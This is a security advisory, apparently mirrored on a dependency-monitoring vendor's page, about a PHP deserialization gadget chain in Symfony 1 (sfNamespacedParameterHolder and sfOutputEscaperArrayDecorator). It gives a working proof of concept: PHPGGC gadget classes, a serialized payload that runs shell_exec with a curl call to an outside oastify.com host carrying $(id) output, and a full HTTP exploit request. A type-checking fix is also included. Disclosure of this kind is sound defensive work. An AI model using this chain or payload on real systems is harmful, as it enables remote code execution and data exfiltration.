Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-pv9j-c53q-h433
No affected components available
Summary
Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.
Details
This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:
public function executeIndex(sfWebRequest $request)
{
$a = unserialize($request->getParameter('user'));
}
We will make the assumption this is the case in the rest of this explanation.
Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method:
public function unserialize($serialized)
{
$this->__unserialize(unserialize($serialized));
}
Which make an array access on the deserialized data without control on the type of the $data parameter:
public function __unserialize($data)
{
$this->default_namespace = $data[0];
$this->parameters = $data[1];
}
Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet():
public function offsetGet($offset)
{
$value = isset($this->value[$offset]) ? $this->value[$offset] : null;
return sfOutputEscaper::escape($this->escapingMethod, $value);
}
Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]:
public static function escape($escapingMethod, $value)
{
if (null === $value)
{
return $value;
}
// Scalars are anything other than arrays, objects and resources.
if (is_scalar($value))
{
return call_user_func($escapingMethod, $value);
}
Which calls call_user_func with previous attacker controlled input.
PoC
So we need the following object to trigger an OS command like shell_exec("curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)");:
object(sfNamespacedParameterHolder)#4 (1) {
["prop":protected]=>
object(sfOutputEscaperArrayDecorator)#3 (2) {
["value":protected]=>
array(1) {
[0]=>
string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
}
["escapingMethod":protected]=>
string(10) "shell_exec"
}
}
We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:
- gadgets.php:
class sfOutputEscaperArrayDecorator
{
protected $value;
protected $escapingMethod;
public function __construct($escapingMethod, $value) {
$this->escapingMethod = $escapingMethod;
$this->value = $value;
}
}
class sfNamespacedParameterHolder implements Serializable
{
protected $prop = null;
public function __construct($prop) {
$this->prop = $prop;
}
public function serialize()
{
return serialize($this->prop);
}
public function unserialize($serialized)
{
}
}
- chain.php:
namespace GadgetChain\Symfony;
class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '1.1.0 <= 1.5.18';
public static $vector = 'Serializable';
public static $author = 'darkpills';
public static $information = '';
public function generate(array $parameters)
{
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
$tableInfo = new \sfNamespacedParameterHolder($escaper);
return $tableInfo;
}
}
And trigger the deserialization with an HTTP request like the following on a dummy test controller:
POST /frontend_dev.php/test/index HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532
user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D
Note that CVSS score is not applicable to this kind of vulnerability.
Impact
The attacker can execute any PHP command which leads to remote code execution.
Recommendation
I recommend to add a type checking before doing any processing on the unserialized input like this example:
public function unserialize($data)
{
if (is_array($data)) {
$this->default_namespace = $data[0];
$this->parameters = $data[1];
} else {
$this->default_namespace = null;
$this->parameters = array();
// or throw an exception maybe?
}
}
This fix should be applied in both sfNamespacedParameterHolder and sfParameterHolder.
Measures severity based on intrinsic characteristics of the vulnerability, independent of environment.
No exploitation activity has been observed at this time. Continue routine monitoring.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard